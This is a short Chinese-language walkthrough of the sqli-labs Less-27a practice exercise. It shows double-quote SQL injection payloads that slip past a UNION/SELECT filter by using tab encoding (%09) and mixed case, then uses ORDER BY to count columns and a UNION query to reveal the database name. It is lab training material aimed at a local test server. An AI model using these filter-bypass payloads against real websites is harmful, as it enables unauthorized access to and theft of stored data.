SQL注入分析-Less-27a
1、 概述:此关的名称GET-Blind Based-All your UNION & SELECT Belong to us-Double Quotes,中文名称是基于GET型的盲注—构造你自己的union和select—双引号注入,从题目名称来看,推测这关是盲注,无法通过报错信息来获取所需要的数据,要通过技巧绕过UNION和SELECT查询语句,而且拼接过程中需要使用双引号进行闭合。
2、根据猜想,按照提示输入:
http://192.168.88.129/sqli-labs-master/Less-27a/?id=1
结果如下:
按照猜想,输入双引号试试:
http://192.168.88.129/sqli-labs-master/Less-27a/?id=1"
这里没有正常回显,可能是对双引号敏感,对单引号不敏感,接下来输入单引号试试:
http://192.168.88.129/sqli-labs-master/Less-27a/?id=1’
猜想基本成立。
3、 使用order by判断下表的列数:
http://192.168.88.129/sqli-labs-master/Less-27a/?id=1"%09order%09by%091,2,3,"4
结果如下:
正常回显,继续:
http://192.168.88.129/sqli-labs-master/Less-27a/?id=1"%09order%09by%091,2,3,4,"5
结果如下:
没有正常回显,列数为3,继续用union报回显位:
http://192.168.88.129/sqli-labs-master/Less-27a/?id=0"%09UnIon%09SeLect%091,2,"3
结果如下,成功在用户名和密码字段进行了回显。
将2换成database()试试报库名。
成功,下同。